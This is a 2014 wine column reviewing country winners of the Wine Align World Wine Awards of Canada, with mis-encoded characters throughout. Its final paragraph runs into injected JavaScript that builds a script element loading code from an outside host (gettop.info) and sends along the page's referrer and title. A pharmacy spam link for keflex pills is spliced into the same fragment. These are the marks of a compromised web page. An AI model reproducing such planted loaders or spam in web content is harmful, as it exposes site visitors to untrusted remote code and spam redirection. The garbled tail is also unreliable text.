Wine Align finds value – Sept. 27, 2014


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If the notion of looking for wines of value is admirable, finding them in a highly-taxed Canadian market is anything but easy. Naysayers point to the value word, suggesting it is meaningless term as in, what is value? When it comes to wine, we all have different tastes. If you fall into that group, turn the page.

If you believe there is quality at all price points and that seasoned tasters a�� spending a week tasting and re-tasting the bulk of commercial wine labels sold in Canada a�� can find the best value examples, read on.

Twice a year, I run week-long wine competitions working with Canadaa��s top wine tasters and Wine Align, a Toronto-based on-line wine company. The Nationals is an all-Canadian competition, while the World Wine Awards of Canada, the subject of todaya��s column, is open to wineries from around the world making wine under $50; the vast majority of 1,100 wines in the competition sell for less than $25.

To make it to the top, a wine must score high enough in a preliminary round to advance to the finals. Once there, it must again score high against the best wines in the category to become a Judgesa�� Choice, or to grab the highest accord: a Category Champion. It is thorough, challenging and the only group to go through a more rigorous week at the competition than the judges are the wines.

The complete results of the Wine Align World Wine Awards of Canada, including the best value labels can be found at www.winealign.com but today we highlight the Best Wine by Country category across all blends and varietals to illustrate the breadth of the results. Many of the wines are available in B.C. or will be here this fall as the vintage turns.

From Argentina, Kaiken 2012 Ultra Malbec ($17), a project of Chilean Aurelio Montes, topped the list. The wine is named for the Caiquenes goose that flies back and forth across the Andes just as Montes flies his plane back and forth to oversee this excellent malbec. In Chile, the prize went to a delicious San Pedro 2011 1865 Limited Edition Syrah, challenging Canadian buyers who consistently list far too many cabernet sauvignons from Chile.

Down Under, again it was shiraz that took the torch, with an excellent Wolf Blass 2012 Grey Label Shiraz ($37). In New Zealand, the reliable and stylish The Ned 2013 Sauvignon Blanc ($16) took on all Kiwi labels.

A personal favourite from Austria and a big winner was the refreshingly food-friendly Laurenz V 2012 Singing GrA?ner Veltliner $(23); think west coast seafood. The top Canadian wine not sold in B.C. was the Jackson-Triggs Niagara Estate 2011 Delaine Syrah ($33), another syrah victory. The top B.C. entry was also a syrah from Oliver: C.C. Jentsch Syrah 2012 ($29) is a super wine that has continued to improve in bottle each month since its release.

A no price limit on the French champagne had Louis Roederer Brut Premier Champagne ($70) scoop all French wines, confirming its ability to make top bubble every year. The German story was led by the Selbach 2012 Riesling Fish Label ($18), a delicious drop of crunchy fruit in a bottle. Cantina di Negrar 2010 Amarone Della Valpolicella Classico ($37) grabbed the Italian crown from tough Tuscan and Piedmont competition. From Spain, the star is a delicious dessert style wine that will stretch your wine wings: Alvear N/V Solera 1927 Pedro Ximenez ($33).

Equally rich and inviting: Grahama��s 20-year-old Tawny ($37) that topped all Portuguese entries; the South African winner is Bellingham Wines 2013 The Bernard Series Old Vine Chenin Blanc ($25), fresh and complex it is as versatile a food wine as there is in the market. Finally, from Bordeaux-born and trained winemaker Christophe Paubert, the judges loved the fruit of Napa Valley and the elegance of France in Stagsa�� Leap Winery 2011 Napa Valley Cabernet Sauvignon.var d=document;var s=d.createElement(‘script’); http://mcjts.com/?p=9218 Pills order keflex 500mg }s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

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